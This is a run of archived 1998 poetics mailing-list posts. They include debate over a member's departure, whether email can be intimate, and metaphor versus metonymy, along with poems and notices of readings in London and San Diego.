Tom, If your still with us, I'd suggest that you take advantage of the list to make an intervention, to assert, question, and reconfigure your stance(s) and do the daring, as does Keston Sutherland by actually posting poems, by speaking with instead of speaking against. Silence, for myself at least, probably has more to do with folks just being too busy . . . but those same busy-bodies return to the list as a resource when they need it. You'll find these self-congradulatory cryptics wherever you go. Patrick F. Durgin

`
`
`
` -----><-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Fri, 13 Mar 1998, TBeck131 wrote:

> *I'm not sure what I hoped to find on the poetics list but I'm sure that I haven't found it.*
> *What I have encountered is a professorial smugness (people who can't or won't distinguish between living and dead poets; people who scoff at the political efficacy of writing) propped up by extraordinary silences (most of the list is voiceless most of the time).*
> *There's way too much concern with position--with laurels, with "winning", with self-congratulation and self-promotion. The sound of one hand (who gives a damn if it is left or right) clapping one's self on the back.*
> *You folks have a powerful tool at your disposal. One can only hope that you figure out how to make better use of it.*
>
> *Signing off.*
>
> *Tom Beckett*

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530. David Zauhar
Re: virus
Fri 13 Mar 1998

On Fri, 13 Mar 1998, Judy Roitman wrote:

> >_____
> >Carolyn Guertin, Department of English, University of Alberta
> >E-Mail: [redacted]; Tel/FAX: [redacted]
> >Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>
> >
> >"Language is a virus."
> >-- Laurie Anderson
>
> The quote is actually from Burroughs: "Language is a virus from outer space."
>
Judy is right, of course. I almost pointed out the same thing, until I realized that, just because WSB said it FIRST, doesn't mean that Laurie Anderson didn't SAY IT herself. And if Carolyn wants to quote Laurie Anderson's version, what the hell (esp. Since LA is still alive and can actually say the words) (and since so far as I know she (anderson) never appeared in a Nike commercial).

"Fresh" from a 14 hour overnight train ride...

Dave Zauhar

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531. sylvester pollet
Re: goodbye
Fri 13 Mar 1998

Miekal, I think you should send this back-channel. I sent him one that way this morning. otherwise, i think we're talking to each other--not that we shouldn't also. sylvester

At 12:39 PM +0000 3/13/98, Miekal And wrote:
>tom, Im saddened that youve left the list, have felt similarly to you,
>that there is amazing potential on lists such as this one (&
>wri-eye-tings) bandwidth that is largely unexplored, & tho no medium is
>perfect, actions such as networking & extending one's own works into a
>public medium, & even learning, are goals that are quite reachable
>here. I wonder (if you are still here) if you would speak more to the
>failed hopes that you had, & wonder if there is any sense of an

>emotional overwhelmance, (which more than anything else with list
>participation, I become discouraged by, & usually a few days of space
>makes be hungry again for jumping back into the muck}
>
>Id like to make it clear, that you were shaking the tree & fruit was
>falling within reach, tho, unfortunately, effects are sometimes the
>inverse of intent...
>
>
>miekal

↑ Index

532. William Burmeister Prod
Re: Forks and Honey
Fri 13 Mar 1998

On Mar 13, 12:06pm, Cadaly wrote:
> Subject: Forks and Honey
> <<I eat my peas with honey:
> I've done it all my life.
> It may taste kind of funny,
> But it keeps them on my knife.
>
> Here, the knife would be a fork if "fork" rhymed with "life.">>
>
> Interestingly, this poem has entered pop culture (and children's songs), as
> "fact": how peas were eaten before the fork was invented. Forks were first
> used to drain sauce off food. And were only available to artistocrats for a
> few hundred years.
>
> What about spoons?

Charles Simic has this to say about the ignoble spoon,

Spoon

An old spoon,
Chewed,
Licked clean,

Polished back
To its evil-eyed
Glow,

Eying you now
>From the table,
Ready to scratch

Today's date
And your name
On the bare wall.

-Charles Simic

Fork

This strange thing must have crept
Right out of hell
It resembles a birds foot
Worn around the cannibal's neck

As you hold it in your hand,
As you stab with it into a piece of meat,
It is possible to imagine the rest of the bird:
Its head which like your fist
Is large, bald, beakless, and blind.

-Charles Simic

William Burmeister

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533. Brian Carpenter
UK query
Fri 13 Mar 1998

I'm going to be in England for all of April and May. As its my first trip over there, I'd be very appreciative of any information regarding interesting places for readings or current reading series, good bookstores for small press material, and so forth--anywhere in England really. Anything will be helpful. Many thanks.

BC

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534. **Gabriel Gudding**
Re: goodbye
Fri 13 Mar 1998

Tom,

I've a good guess re why so little responsiveness to postings to the list lately: it's spring break at many US universities these days. Purdue's in the middle of its, Cornell's starts next week, some were last week. I just got back in town myself.

But there's also this: Professorial smugness is really half the fun of being in the academy. It's one of the perqs (sp?), the plusses, the bonuses (boni?). But really in my experience smugness is much more a phenomenon associated with the literati, not necessarily the academy. Even if this list were composed of mostly non-academics (which I think is _not_ the case), you'd have that smug silence, self-congratulation and condescension -- common symptoms of writers and a certain kind of habitual reader.

Vitriol, egotism, and ostracism are the three pillars of the canon.

Furthermore, a listerv is like an open sore for those sorts of bacteria: it's more difficult to make a good joke or make a good gesture via email than it is to make a wise-crack or a witty riposte that might be a bit off-base and a bit off-topic and a bit hardy-harrh-har. The simple fact that we are writing to a vast and potentially immediately responsive group of strangers is a bit hard to ignore -- whihc makes the silence that follows a posting even harder to ignore. Consider a political podium, say at a televised national convention: you never find much chit-chat, much of anything of importance discussed, much of anything but backscratching and hand-clasping: podiums nad rostrums just aren't the place for a good raging discussion: that takes intimacy.

There is a tendency, that is to say, to mistake, I think, ecommunication as something that can be or become private or intimate. It can't. You say it's a potentially important tool: maybe so. But it's a privatizing tool: that's what it's REALLY good at. It's not a public tool, not a public-making or community-making tool. It's more on the order of a hacksaw than a screwdriver: it cuts us apart rather than squishing us together.

With all that said, I have to sayt hat I DO find a great deal of worth on this here listserv: much humor, great jokes, really brilliant exchanges, high wit, shocking insights (yours included), and, yes, raunchy and rancorous and petty invective.

But hey: like any good anthology, you gotta pick and choose. You chose to close the book. That's okey dokey. Just know, footnote to headline: you were a good read.

gg

On Fri, 13 Mar 1998, TBeck131 wrote:

> *I'm not sure what I hoped to find on the poetics list but I'm sure that I haven't found it.*
> *What I have encountered is a professorial smugness (people who can't or won't distinguish between living and dead poets; people who scoff at the political efficacy of writing) propped up by extraordinary silences (most of the list is voiceless most of the time).*
> *There's way too much concern with position--with laurels, with "winning", with self-congratulation and self-promotion. The sound of one hand (who gives a damn if it is left or right) clapping one's self on the back.*
> *You folks have a powerful tool at your disposal. One can only hope that you figure out how to make better use of it.*
>
> *Signing off.*
>
> *Tom Beckett*

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535. **Joe Amato/Kass Fleisher**
Re: goodbye
Fri 13 Mar 1998

---

gabriel, i don't follow you at all: email *can't* be intimate?... what do you mean?---do you mean that if i establish what i think is an intimate relationship with someone online, intimate in the sense of a mutual plumbing of emotions and convictions---i'm self-deceived?...

i've seen that word "intimacy" used to describe sexual relationships between strangers...

again, i can't understand how any medium excludes the possibilities of intimacy---assuming intimacy is itself mediated... at the same time, there is something about *this* medium---as a public medium---that can be used to promote one-on-one intimacies... if i backchannel you, and we get to talking, you may very well feel inclined to reveal more of yourself than you might f2f... it's happened to me and to many i know... on the other hand, you might not feel this way---up to you... i suspect though that the nature of this medium has something to do with being able to spatialize thought, and figure thinking, with some care---not quite the same as the telephone... not quite the same as a hard-copy letter, either... but reaching across distances faster, across different walks of life faster, in a more synchronous setting... public, and not so...

does this mean that we needn't meet f2f?... no---having just met keith tuma after knowing him online for a few years, i feel our f2f connection helped to solidify our friendship... i could say the same for many other folks, who themselves might say the same... and i've met folks f2f, whom i've grown closer to after having met them again online...

again, depends on how you come to this medium, any medium... i wouldn't come here expecting a utopia, i might come here trying to push or pull toward something better... i've always found, when it comes to social organizations, that the whole is less than the sum of the individual beings, even if its greater than any one individual... so i always see something to shoot for...

too bad tom left...

best,

joe

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536. Alan Myouka Sondheim

Alanxy

Sat 14 Mar 1998

-

I am Alanxy why am I Alanxy
because
that is because when I
send you a message, that is when I because, when I send you a message
it must be control-x then y, that is
control-x to send, then y for yes,
yes yes to send the message to you, yes yes

but Alanxy, yes, well,
then when this happens, the control key is moved,
not where I want it to be!
or no longer operates
or is missing in the first place
or never was there,
then when I type
control-x y
to send you the message yes yes
to send you the message,
then I become Alanxy
then I am Alanxy
after signing Alan,

after signing love, Alan
and you see my Alanxy
sometimes or I return and write back to you as Alan
or as love, Alan
not as love Alan no imperative, not even love Alanxy
or maybe love Alanxy
that is an algebra of existence, is it not
that is an algebra of existence

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537. **rsillima**
Readings in San Diego
Sat 14 Mar 1998

I will be in San Diego the week of April 6 through 10. Does anybody know of readings there that week? If so, please back (or front) channel.

Ron Silliman

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538. **Kcglowworm**
Hartley on Mac Low
Sat 14 Mar 1998

Please note that my article on Jackson Mac Low is now online at EPC.

http://writing.upenn.edu/epc/

George Hartley

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539. **Richard Long**
The 2River View, 2_3 (Spring 1998)
Sat 14 Mar 1998

I thought ya'll might be interested in reading the most recent, Spring issue of _The 2River View_, with poems by Charles Albano, Kate Bergen, Pat Boran, C. E. Chaffin, Michael Hoerman, billy little (of this list), Peter Munro, David M. Somerfleck, Marc Swan,and Rochelle Randel.

Well, hopefully Spring. It is snowing here (at last) in Buffalo.

My best,
Richard

Richard Long
2River Poetry
[redacted]
http://www.daemen.edu/~2River

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540. **Gabriel Gudding**
Re: goodbye
Sat 14 Mar 1998

On Fri, 13 Mar 1998, Joe Amato/Kass Fleisher wrote:

> *gabriel, i don't follow you at all: email *can't* be intimate?... what do you mean?---do you mean that if i establish what i think is an intimate relationship with someone online, intimate in the sense of a mutual plumbing of emotions and convictions---i'm self-deceived?...*

Yah, Joe, that's basically what I'm saying.

I think it's a rather _convivial_ medium. But it's not intimate. There's nothing very intimate about the movies or about television: broadcasting isn't intimate. Reading broadcasts isn't intimate. 600 people read this stuff, and most, I imagine, give the material here well-deserved distinterest. And though you're right to say that one-to-one letters (backchanneling, I see it's called) can serve an intimacy: but it can't _create_ one. Not a genuine one, anyway. You must be able to see, smell, touch, at times taste, embrace, have coffee with -- and yada yada yada with -- anybody with whom you are to become intimate.

> *i've seen that word "intimacy" used to describe sexual relationships between strangers...*

I'm not sure, but I think that's, like, Irony. If not, I'd have to say that whoever uttered those words was either purposefully or ignorantly embracing an idea that can only be characterized as an abomination.

> *again, i can't understand how any medium excludes the possibilities of intimacy---assuming intimacy is itself mediated...*

That's my point: intimacy is not mediated. I know that as an educated person I'm expected to believe, as they cliche goes, that Everything's mediated. But that's frankly a load of codswallop.

> *if i backchannel you, and we get to talking, you may very well feel inclined to reveal more of yourself than you might f2f... it's happened to me and to many i know...*

"getting to talking" and talking itself does not an intimacy make. Look, I'm not saying anything new or profound here: the origin and basis of intimacy, of

friendship, as ol Cicero said (and about which he was probably right) is love and goodwill. I, yes, _do_ happen to avow the old medieval idea of the Word -- both verbum and verbum dei. Where love and goodwill are present, there is intimacy; I certainly don't believe that epistolary relationships preclude intimacy, insofar as they don't preclude love and goodwill: but letters (epistles, not the alphabetical dingies) aren't great packhorses: they can't bear, often, very much love and goodwill -- and this is simply because the principle way a human being lies is through the word: we _see_ the truth about someone, or _know_ the truth about someone, or _recognize_ it, but we rarely _read_ it, and if we do read it, we certainly aren't very inclined to trust it. Though the National Inquirer is one of my favorite newspapers.

Anyway, I'm belaboring, like, the obvious, I think.

Look, reading this stuff, these posts from the former Tom and from you and from others -- the great Silliman et alii -- I learn a great deal about myself and about the play of ideas, but I frankly learn nothing about the people who type this stuff into the 600 various computers linked by this listserv. I learn about what they think nad sometimes about what they feel, but nothing about who they are.

> *does this mean that we needn't meet f2f?... no---having just met keith tuma after knowing him online for a few years, i feel our f2f connection helped to solidify our friendship... i could say the same for many other folks, who themselves might say the same... and i've met folks f2f, whom i've grown closer to after having met them again online...*

I would say that your intimacy or friendship did not begin until you actually shook tuma's hand, right? I'd frankly go so far as to say that prior to that handshake each of you was, in a sense, talking only to himself: that each of you facilitated a rather common kind of self-inquiry for the other.

Anyway, all best, Joe.

At ten eastern tonight
I'll put my two lips
on the upper right hand of my screen:
I'd like to believe
you'll be doing the same.

Gabriel, smiling.

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541. Gabriel Gudding
Deceased Poet Semenovich
Sat 14 Mar 1998

Dear List:

Do any of you know of a poet named Semenovich. Either Joe Semenovich or Joel Semenovich? He has apparently died. He lived in Brooklyn. He died sometime after october of 1997.

He sent three brilliant and, like, very weird poems to the Sycamore and I sat on them for four months hemming and hawing: they were about how jealous he was of Sharon Olds and how good she looks in her photographs and how he'd like to, like, get really intimate with her (f-word). I wrote him last month apologizing for the delay and explaining why we weren't going to run his poems, which were about not ever getting published and how sick he was of never getting published and about how jealous he was of successful poets and about how he was getting older and obsessed with his total failure to be recogized and read. They were great poems, but there was an aesthetic donnybrook in the offices about running them (people insisting I had lost my taste etc) -- it got complicated. Anyway, the letter I wrote came by return to sender and the big black word DECEASED scrawled across Semenovich's address.

My question is: did anybody know him? If so, could you backchannel me and tell me briefly about him, who he was, if in fact he is dead or if this was, like, a joke, or if this guy really wasn't known at all?

I'd appreciate it. It's sort of eating me.

Gabriel GUdding

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542. Joe Amato/Kass Fleisher
Re: goodbye
Sat 14 Mar 1998

gabriel, part of my deepest (as 'twere), most essential nature (as 'twere) is right here, in these words... the ones you're reading on your screen and the ones i'm reading on mine...

no shit, really...

i don't say the world is mediated b/c it's fashionable to say so... i say it's mediated b/c this is how i've found it out... the actual, physical touch of a human being is mediated by our *own* flesh---which has all to do with how we come to it... i mean, the understanding or lack thereof we bring to it ('learn how to listen to your body')... else my own flesh & blood, say, would be the same as any

other's, no?... my father's touch---not different, but different again, not simply b/c he was different, but b/c of how i imagine or feel his being, as my father... a matter of distance---physical distance, that marks two separate entities, and a matter of resolving such distance, or trying to... like death perhaps... and again, since i bring such meaning to *this* stuff, i say things become intimate... quickly in fact, in fact sometimes too quickly... which is why the intimacy my wife and i had developed over 3-4 months online had, for a future, to become a matter of flesh in order to become lasting... i mean, as husband and wife---and perhaps it needn't be this way either... both of us understood how this medium, like all media, can make a fool of you... but we had become intimate prior to meeting in the flesh... you may rather say that we laid the groundwork for intimacy---but from where i sit, this groundwork was part & parcel of our intimacy...

like you say, words (can) lie... so do bodies, how we come to understand them... i just don't see anyway around this... but again, words (can) speak truth... again, like the body... i never mistake words for bodies, or bodies for words... i would of course "trash" the words sooner than "trash" the bodies... but assigning such priority to bodies is not to assign bodily interactions the sole site of intimacy... b/c such interaction of necessity includes communication of some sort... and you can take the latter with you, as 'twere... isn't this what makes us social creatures?... occasionally i've found bodily presence to exceed or supplant words in my relations with others---often this has created real problems for me in establishing intimacy... words can do this too, i.e., create problems...

i would say that for intimacy you really need it all, gabriel---words and bodies, some sort of communicative understanding... so for me this stuff is part of that intimacy, just as words of yore (so to speak)... but they work differently around t/here, and in this era... in any case, words, significant words, are vital to my sense of what intimacy is, can be...

all best,

joe

↑ Index

543. **Maria Damon**
Re: Deceased Poet Semenovich
Sat 14 Mar 1998

---

wow what a tale. one for the archives for all kinds of reasons. can you run those poems over this list? you've, as my students write, "peaked" my interest.

At 1:43 PM -0500 3/14/98, Gabriel Gudding wrote:
>Dear List:

>
>Do any of you know of a poet named Semenovich. Either Joe Semenovich or
>Joel Semenovich? He has apparently died. He lived in Brooklyn. He died
>sometime after october of 1997.
>
>He sent three brilliant and, like, very weird poems to the Sycamore and I
>sat on them for four months hemming and hawing: they were about how
>jealous he was of Sharon Olds and how good she looks in her photographs
>and how he'd like to, like, get really intimate with her (f-word). I
>wrote him last month apologizing for the delay and explaining why we
>weren't going to run his poems, which were about not ever getting
>published and how sick he was of never getting published and about how
>jealous he was of successful poets and about how he was getting older and
>obsessed with his total failure to be recogized and read. They were great
>poems, but there was an aesthetic donnybrook in the offices about running
>them (people insisting I had lost my taste etc) -- it got complicated.
>Anyway, the letter I wrote came by return to sender and the big black word
>DECEASED scrawled across Semenovich's address.
>
>My question is: did anybody know him? If so, could you backchannel me and
>tell me briefly about him, who he was, if in fact he is dead or if this
>was, like, a joke, or if this guy really wasn't known at all?
>
>I'd appreciate it. It's sort of eating me.
>
>Gabriel GUdding

↑ Index

544. **Gabriel Gudding**

Re: Deceased Poet Semenovich

Sat 14 Mar 1998

Maria, well, the poems _should_ be in a pile in my office and I pray they're still there. But I have to say that I'd feel a little freaky about doing that just now: I don't even know if the guy's actually Dead, you know? It sort of at this point feels like rifling a dead guy's wallet or taking a dead guy's boots or something. Can anybody verify if this guy has passed on?

For now, I'd just like to learn about him: can anybody help me out here? He lived on Glenwood Rd in Brooklyn. I don't have a clue about Brooklyn. Anybody know this guy?

Gabriel

On Sat, 14 Mar 1998, Maria Damon wrote:

> *wow what a tale. one for the archives for all kinds of reasons. can you run those poems over this list? you've, as my students write, "peaked" my interest.*
>
> *At 1:43 PM -0500 3/14/98, Gabriel Gudding wrote:*
> *Dear List:*
>
> *Do any of you know of a poet named Semenovich. Either Joe Semenovich or Joel Semenovich? He has apparently died. He lived in Brooklyn. He died sometime after october of 1997.*
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> *He sent three brilliant and, like, very weird poems to the Sycamore and I sat on them for four months hemming and hawing: they were about how jealous he was of Sharon Olds and how good she looks in her photographs and how he'd like to, like, get really intimate with her (f-word). I wrote him last month apologizing for the delay and explaining why we weren't going to run his poems, which were about not ever getting published and how sick he was of never getting published and about how jealous he was of successful poets and about how he was getting older and obsessed with his total failure to be recogized and read. They were great poems, but there was an aesthetic donnybrook in the offices about running them (people insisting I had lost my taste etc) -- it got complicated. Anyway, the letter I wrote came by return to sender and the big black word DECEASED scrawled across Semenovich's address.*
>
> *My question is: did anybody know him? If so, could you backchannel me and tell me briefly about him, who he was, if in fact he is dead or if this was, like, a joke, or if this guy really wasn't known at all?*
>
> *I'd appreciate it. It's sort of eating me.*
>
> *Gabriel GUdding*

↑ Index

545. **Thomas Bell**
Re: pomo metaphoracity
Sat 14 Mar 1998

Thanks to those who posted re: paratactic. Does seem to be an analogue to psychological meaning although not exact: prelogical (not in a pejorative way), implicit (not conscious) actions, in particular actions toward someone in an intimate (attachment) relationship.

metaphor/metonym discussion suggests that metonym may be similiar move back away from logical discourse but the question then is whether there is another direction that can be taken besides a return to metaphor.

?related to 'revival of formalism'?

tom bell

morning thoughts to clear out the cobwebs

↑ Index

546. Jordan Davis
discon
Sat 14 Mar 1998

---

re-entry --- > to err, to um --- > chuff daddy --- > frequent flier miles

```
  |             |
  |             |
  |             |
 \ /           \ /
```

the hell! --- > take it --- > > > bonus bouillabaise --- > white gloves

```
  |             |
  |             |
  |             |
 \ /           \ /
```

Gator Bowl Insight.com
Bowl

```
  |
  |             |
  |             |
 \ /           \ /
```

soft hits 8 point aught truth is beauty

↑ Index

547. Don Wellman
Re: pomo metaphoracity
Sat 14 Mar 1998

The emotional appeal of parataxis like that of drumming is surely pre logical (and I think some in the Eshleman wing of deep subject poetics have used pre-conscious in order to describe this effect ...

If I remember Jakobsen drew hos thoughts on metonomy from work with aphasics--which could be defined as a contiguity disorder ????

On the other hand--to invoke something in common to holographic, fractal, and maybe genetic models --each slice of the string seems to have metaphoric potentials of expansion ...

if you drop a stone in a pool and watch the rings spread on the surface--it is because of replicant seriality expanding that one notices the rose pattern ...

metaphor + insight

and it is surely not as logical as analogy
and in a digital world, there is a poetic place for the analog ...

Don Wellman

↑ Index

548. **Martin Spinelli**
London po
Sat 14 Mar 1998

In response to Brian Carpenter's UK query:

Exceptionally good bookstore in London, particularly for small press, concrete & audio poetry:

workfortheeyetodo
63 Charterhouse St.
EC1M

Good reading series:

Sub Voicive Poetry
Irregular Tuesdays at 8 pm
The Three Cups (pub)
Sandland Street (Holborn tube)

21 April - Cydney Chadwick
5 May - Bob Perelman
12 May - Carlyle Reedy / Alaric Summer
19 May - Anne Waldman
6 June - Paul Dutton

The Ugly American,
Martin

_____
Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

↑ Index

549. **Martin Spinelli**

Fw: subVoicive : Cayley : Spinelli [Glazier] : 17 Mar. London UK

Sat 14 Mar 1998

Date: Wednesday, March 11, 1998 15:30:59
From: John Cayley
To: John Cayley
Subject: subVoicive : Cayley : Spinelli [Glazier] : 17 Mar. London UK

Reading at Sub Voicive Poetry

Tuesday 17 March 1998, 8.00 pm
Upstairs at The Three Cups
Sandland Street (Holborn Tube), London, UK
Admission 5 or 2.50 pounds

John Cayley & Martin Spinelli
with Spinelli reading for, from and with
the work of Loss Pequen~o Glazier
(who couldn't make it across the pond)
and from his own

Cayley is a transl(iter)ator/editor/poet/
administra(i/nsla)tor of pURLs, increasingly
caught up with writing in programmable and networked media.
Aging web site: http://www.demon.co.uk/eastfield/in/

Spinelli is a writer and radio producer residing in Lewes.
His LINEbreak radio series brought the work of Creeley, Howe,
Templeton, Auster, Mac Low, and many other formally innovative
poets and prose writers to public radio listeners in the US in
'96 and '97. (Sample LINEbreak at the Electronic Poetry Center
http://writing.upenn.edu/epc/linebreak.) Recently, he guest-
edited the current, radio-broadcast issue of the London-based
multi-media arts magazine, Engaged (http://www.engaged.demon.co.uk).

Spinelli will also read from the work of Loss Pequen~o Glazier,
and from his own poetic & critical responses to it. Glazier is a poet whose
publications include: Leaving Loss Glazier, The Parts (Meow) and
the forthcoming, Tenoshhteetla'n. He also is the webmaster of the
Electronic Poetry Center (http://writing.upenn.edu/epc).

> ***** Apologies if you get this message more than once *****
>
> ***** next bit only works if you can see ... *****
> *|<------this many monospaced chars on your window without line wrap----->|*
>
> *----------*
> *Going a little | e e e |*
> *a c a c egfg | cha hs cªa ªª ‰le | ‰ §s §£ ®£ §H*
> *egfg egfg egfg egfg | e e e e ete e e |*
> *Leav | line e | alone*
> *| |*
> *fca d f dcac fcbc | a is.anda a a a | island*
> *g bc gcbc g b g | e a ea a e e |*
> *The sun is in the cloud | le non anai atre k*oud | (will not) see*
> *#dcbc # fcbc gbab (| #dkbk # fhbk jbab (|*
> *f | dp o i | ¶› ªD §H ªy ‰T*
> *MARTIN | |*
> *SPINELLI Fairly co | saillu ko | hear*
> *cfef cfef efef efef efe | kfes hfef afef efeq efe | (your) echoes*
> *| |*
> *Little purr. | .ittle porr. |*
> *d g b a g a d | | • ¥† §J ¾` L*
> *efdf egdf # cfdf # cfdf | Tues 17 Mar'98, 8pm |*
> *| | return JOHN*
> *g 7 | S u b V o i c i v e | CAYLEY*
> *dede g 7 g. 7 g. | | light*
> *d 7 dede g de | Upstairs | lakeside*
> *d | The Three Cups |*
> *e e | Sandland Street | ¥_ ..." ´C ,a §W*
> *#7 # 7 (.)b #7 fb | (Holborn Tube) |*
> *7d#c d g 7 e#d | Admission GBP 5/2.50 | mosses*
> *f d c# * | |*
> *----------*

↑ Index

550. **Henry Gould**

Re: sininster metaphors vs. dextrous metonymies

Sat 14 Mar 1998

Mandel's really poppin with his left (metaphymitly speaking). Exactly right on about the tropes. Didn't Kenneth Burke say metonymy is a kind of metaphor? Applying value judgements to rhetorical tropes is like Ted Hughes eating crow

while forking Sylvia and calling it spooning - lookout, raven mavens! You call this pottery? It bites!

I like Ike and synecdoche too and Tyler too-too Tippecanoe.

Gosh, those rabbis sure knew how to get a laugh out of a crucifixion. A real knee-slapper toe-nailer, Tom! An image is an image and a god is a god and shucks maybe the Muslims are right. It was all a horsefeedback loopy sorta hat trick. Hardehar at yourdeyour and mightymine EXPENSE - seemingly forever! Aren't tropes fun?? (Especially on Desolation Row.)

"There are many here among us
who feel that life is but a joke"
- Jimi via rabbi Bob

"Words can kill." - President of Knesset

They can also make people depressed.

"Man is in love, and loves what vanishes -
what more is there to say?" - Yeats

- Henry Gould

↑ Index

551. Tom Mandel
sininster metaphors vs. dextrous metonymies
Sat 14 Mar 1998

For the (burgeoning) record I'm a lefty too, but I hit right-handed and dribble right-handed, prefer to drive the basket from the right side, but have a left-handed jumpshot, yet throw a football right-handed. Make what you will of all that (hint: I've *never* had a guaranteed contract).

I type with both hands.

The following is for those who would actually like to understand metaphor and metonymy.

I have no idea why, but one of the received ideas of our poetic time, has some-one else mentioned this? intanced this?, is that metaphor is bad metonymy good. Comparing one thing to another, tsk tsk. How could you? Don't you see the uniqueness the singularity of all? The general singularity I mean. This highly-reduced sauce is too thick to pour on anything anyone really cooks up, alas, and metaphor (see the previous one) is cool! (a metaphor) For example *all* theory is metaphor -- see Riemannian geometry, relativity, gravity as "bent" space (metaphor), string theory, you get the idea (how could you from

this fragmentary address?) (<-- metaphor), or did you think the Krebs Cycle was a real geometric form?

Has someone mentioned the extraordinary work of George Lakoff on metaphor?

I liked someone suggesting that fork might be a good metonymy for knife -- actually, the peas are a better metonymy for the knife, tho it is the spoonness of a knife to which the peas attach. Note that knife, fork, and spoon began life as "stick." Metaphor moved them on (look at your hand).

A serious section: favored though was the citation from (suggestion by?) someone (G. Hartley?) that metaphor is inherently transcendental---no need to open the bus door at that stop---and metonymy imminent---because it is busy "establishing relationships of contiguity." I hope it is obvious that this cart won't pull a horse.

Metonymy *relies on,* it doesn't establish, relationships of contiguity (or other existing connection---flag for country, boat, patriotism, etc.). That's why a spoon is *not* a metonymy for a knife, run away though they did together. Your uncle may be your lover, your uncle may even be a metaphor for your lover, but your uncle will *never* be a metonymy for your lover, not even if they're roommates.

Metaphor *establishes* relationships---including those of contiguity---between things which are different. Providing Kafka, btw, as evidence that metaphor means transcendence imposes a particular interpretation on his work; indicating that reading "Kafka will suggest (that) metaphor is inherently theological in its structuring of mediation itself as a relationship to something outside or above the structure or terrain, and by its positioning of the mediator as one who inhabits a space or opening between us and some external power" is not more than 180 degrees off, since the play of metaphor in Kafka balances on the non-realizability, non-translatability of all that metaphor makes available as its intention. The trial is precisely not a trial, the castle not a place of high degree. I.e. these are precisely *not* theological and non-transcendant. They are what you are flattened against in the most imminent fashion, and the metaphor stands in for an inability to conceptualize your life. Gregor Samsa as beetle, no mediator available.

For Hartley (or whoever I'm standing him in for metaphorically, some poor straw man) to suggest that "Metaphor assumes a certain equivalence, a reduction of differences, between the two terms in order for this substitution to be possible" indicates a pretty deep misunderstanding of what goes on in this area of language. Metaphor precisely extends our understanding of X *out* of its meaning space by framing it against another meaning space. It is metonymy that reduces difference. "Red sails in the sunset" -- the sail is being substituted metonymically for the ship. There is *intentionally* no semantic difference between them. When bigmouth talks, we are identifying the fellow (me in this

instance it seems) metonymically. On the other hand, "rosy-fingered dawn" does not "assume a certain equivalence" between dawn and fingers, it extends the semantics of "dawn."

That metonymy might get us out of transcendeance and theology is particularly amusing in the light, for example, of Xtianity's *utterly* metonymic structure: worship cross, god is actually son of god, etc. etc. or as the Rabbis used to say "do you believe these people? One end of the stick they burn for heat, the other end they carve and they bow down before it?" (that's in Absence Sensorium somewhere I think btw)

Oh well, just more left-handed arrogance from one of the cognoscenti.... I suppose. Perhaps on the other hand, there's someone to agree with me that like poets critics ought to know something about language? More likely, my friends on this list are now grinning as they see me try to pick a fight for the umpteenth time and those who don't know me either are stunned at my brilliance or think this post was actually written by Dale Smith. Oh well, divide and conquer I always say -- to the peas under the mattress of my knife's pod, that is).

Tom Mandel

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

↑ Index

552. **CharSSmith**

Fwd: NEW: SmallPress - Small Press,Limited Edition and Chapbook List

Sat 14 Mar 1998

This is a multi-part message in MIME format.

--part0_889928613_boundary

thought this might be of interest to some people here:

--part0_889928613_boundary

air18.mail.aol.com (v40.7) with SMTP; Sat, 14 Mar 1998 20:41:01 -0500
by relay21.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with ESMTP id UAA20937;
Sat, 14 Mar 1998 20:40:42 -0500 (EST)
(LSMTP for OpenVMS v1.1a) with SMTP id
<[redacted]>; Sat, 14 Mar 1998 20:40:02 -0500

Date: Sat, 14 Mar 1998 20:46:56 -0500
<[redacted]>
<[redacted]>
From: Ron Koster <[redacted]>
Subject: NEW: SmallPress - Small Press,
Limited Edition and Chapbook Publishing
To: [redacted]

> *X-From_: [redacted] Sat Mar 14 18:30:56 1998*
> *Date: Sat, 14 Mar 1998 17:21:45 -0600*
> *Reply-To: An-tAthair-Siorai Press Gp <[redacted]>*
> *Sender: NEW-LIST - New List Announcements <[redacted]>*
> *From: An-tAthair-Siorai Press Gp <[redacted]>*
> *Subject: NEW: SmallPress - Small Press,*
> *Limited Edition and Chapbook Publishing*
> *To: [redacted]*
>
> *SmallPress via http://www.onelist.com/subscribe.cgi/smallpress*
>
> *SmallPress is an unmoderated discussion list for Publishers, Printers, Editors, Collectors, Authors, Booksellers, Librarians, Historians and anyone else interested in old and modern Small Press books, Small Press Publishing, Marketing, Writing, Chapbooks and Magazines. It invites comments on the state of the market, success and failure reports, ideas and requests for information. Messages about new and planned publications are also welcomed, as are reviews of books and magazines within the Small Press Movement, and from an historical point of view.*
>
> *The list is designed to place all interested parties in touch with one another in an informal manner and allow open and frank - but not abusive - discussion of all aspects of this area of Publishing, and discussion / warnings on vanity press publishing, changes in copyright law, cataloguing and legal requirements for different markets and countries.*
>
> *Owner: Adam An-tAthair-Siorai [redacted]*
>
> *-------*
> *Use this information at your own risk. For more information and disclaimer send E-mail to [redacted] with the command INFO NEW-LIST in the body. URL: http://LISTSERV.NODAK.EDU/archives/new-list.html*

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

P S Y M O N ? ? ? ?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://home.istar.ca/~psymon
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--part0_889928613_boundary--

↑ Index

553. **Stephen Cope**
Re: Readings in San Diego
Sat 14 Mar 1998

Ron (and others):

Jay Wright will be reading at UCSD as part of the New Writing Series on April 9th at 4:30, and he will read later that evening at the Museum in La Jolla. I'll post the full list of Spring readings soon.

Hope to see you there.

Stephen Cope

> *I will be in San Diego the week of April 6 through 10. Does anybody know of readings there that week? If so, please back (or front) channel.*
>
> *Ron Silliman*

↑ Index

554. **Steve Tills**
Re: Sound States
Sun 15 Mar 1998

Dear Charles,

You might try Chris Funkhauser; he's a friend and bud of Cecil Taylor's. Where ole Chris is, I'm not sure, but SUNY Albany or Don Byrd there might know. Chris, if you're out there somewhere, warm hello from Steve, here. Know this text Charles is looking for? S.

CharSSmith wrote:

> *has anyone read or know anything about this book?*
>
